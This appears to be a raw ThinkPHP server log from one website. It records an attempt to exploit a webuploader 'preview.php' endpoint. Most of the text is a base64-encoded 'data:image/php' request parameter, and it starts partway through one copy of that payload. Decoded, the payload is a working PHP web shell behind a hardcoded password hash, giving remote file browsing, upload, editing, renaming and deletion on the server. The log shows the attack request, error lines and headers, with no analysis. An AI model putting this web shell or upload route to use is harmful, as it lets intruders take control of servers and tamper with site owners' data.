ZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'lib' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:29:07+08:00 ] 119.42.146.234 POST 51tianwei.com/include/webuploader/0.1.15/server/preview.php [运行时间:0.002591s] [吞吐率:385.93req/s] [内存消耗:196.66kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'include', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4g